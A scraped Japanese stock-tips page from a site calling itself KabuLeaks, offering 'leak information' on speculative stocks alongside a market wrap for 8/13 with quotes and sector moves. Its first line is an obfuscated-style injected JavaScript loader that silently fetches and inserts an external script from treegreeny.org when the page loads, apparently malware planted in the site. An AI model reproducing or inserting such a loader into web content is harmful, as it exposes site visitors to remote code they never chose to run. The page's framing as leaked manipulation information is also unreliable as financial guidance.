;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); 仕手株・ファンド介入リーク情報【8/13 大引け】|【KabuLeaks 〜株リークス〜】
仕手株

仕手株・ファンド介入リーク情報【8/13 大引け】

【3656】KLab 1,845円 +49 (+2.72%)

【9684】スクウェア・エニックス 3,360円 +10 (+0.29%)

【8306】三菱UFJフィナンシャル・グループ 864円 -1.7 (-0.19%)

本日の日経平均株価は76円安と反落。人民元安の一服で買い安心感が広がる一方、中国景気に対する不安は払拭されなかったほか、週末要因から利益確定売りやポジション調整売りなどに押され、主力株を中心に売りがやや優勢の一日となった。業種別では、パルプ・紙、不動産業、空運業、精密機器などが値上がり上位に。一方、鉄鋼、鉱業、石油石炭製品、機械などが値下がり上位となった。

個別では、「テルマー湯」オープン控え期待感高まる【3521】エコナックホールディングス、決算嫌気から直近売り優勢となっていた【3914】ジグソーなどが後場急伸したほか、7日発表の決算から上値追いが続いていた【2162】日本マニュファクチャリングサービスが後場一段高のストップ高で年初来高値を更新した。その他、【5448】東京鋼鐵も一時ストップの大幅上昇となった。

来週は17日に4-6月期国内総生産(GDP)の発表を控えているが今回はマイナス成長が予想されており、発表による影響は限定的か。人民元安はいったん収束しそうだが、海外の不透明感が燻る限りは上値は重い状況が継続。週明けも2万500円近辺でのもみ合いが続く可能性が濃厚だ。